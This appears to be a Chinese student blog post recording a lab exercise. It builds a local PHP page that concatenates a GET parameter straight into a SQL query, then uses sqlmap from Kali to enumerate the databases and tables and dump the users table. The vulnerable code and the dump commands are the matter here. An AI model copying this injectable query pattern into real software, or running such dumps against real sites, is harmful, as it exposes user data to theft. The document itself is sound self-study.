好玩的任务之sql注入

要求使用如下代码,搭建一个服务器,users表自己创建,最少报好username和admin字段即可

搭建好服务器后,使用sqlmap对目标进行sql注入攻击,爆破出数据库的表的列表和users表中所有的数据

 <?php
   $con=mysqli_connect("127.0.0.1","root","zhao.bao","todo");
   if(!$con) die ("error connection");
   $query="select username,admin from users where id=".$_GET['id'];
   $res=mysqli_query($con,$query);
   if($res->num_rows==0)
      die("no such id");
   $row=mysqli_fetch_arrya($res);
   if($row['admin']=='1')
    { echo  $row['username']. 'is admin'.'<br>';}
   else{
      echo $row['username'].'is not admin'.'<br>';}
 ?>

准备工作

这里使用phpstudy进行服务支持,navicat连接数据库创建users表,往表中填充数据

  • 根据任务要求代码,将数据库密码改为zhao.bao
  • 进入navicat,新建数据库,新建表,插入敏感数据
 create database todo;
 use todo;
 #建表
 create table users(
  id int primary key auto_increment,
  username varchar(50),
  admin varchar(2)
 );
 #插入数据
 insert into users(username,admin) values
 ('徐','1'),
 ('Sun','0'),
 ('test','0'),
 ('+7','0');

使用命令select * from users;

正常显示数据,建表成功

  • phpstudy提供的网站根目录下修改index.php文件,直接粘贴任务提供的php代码

访问127.0.0.1

访问成功但是报错空参,给个参数id=1

查询成功

攻击

使用命令ipconfig物理机ip为192.168.32.1

kali先使用命令验证是否互通

 curl "http://192.168.32.1/?id=1"

出现网页内容,网络互通

使用kali工具sqlmap进行扫描

 sqlmap -u http://192.168.32.1/?id=1

扫描完成,存在相当多的注入方式

下面拖库

 sqlmap -u "http://192.168.32.1/?id=1" --dbs

枚举表

 sqlmap -u "http://192.168.32.1/?id=1" -D todo --tables

枚举数据

 sqlmap -u "http://192.168.32.1/?id=1" -D todo -T users --columns
 ​
 sqlmap -u "http://192.168.32.1/?id=1" -D todo -T users --dump

拖出来了数据,完成。

……最近期末周还没开始学习啊,又要速通了(⊙﹏⊙)





✍️ 好玩的任务之sql注入


本文为个人学习/实践记录,欢迎交流与指正。

🔗 原文链接:http://sunsrchub.com/2026/01/09/%e5%a5%bd%e7%8e%a9%e7%9a%84%e4%bb%bb%e5%8a%a1%e4%b9%8bsql%e6%b3%a8%e5%85%a5/


暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇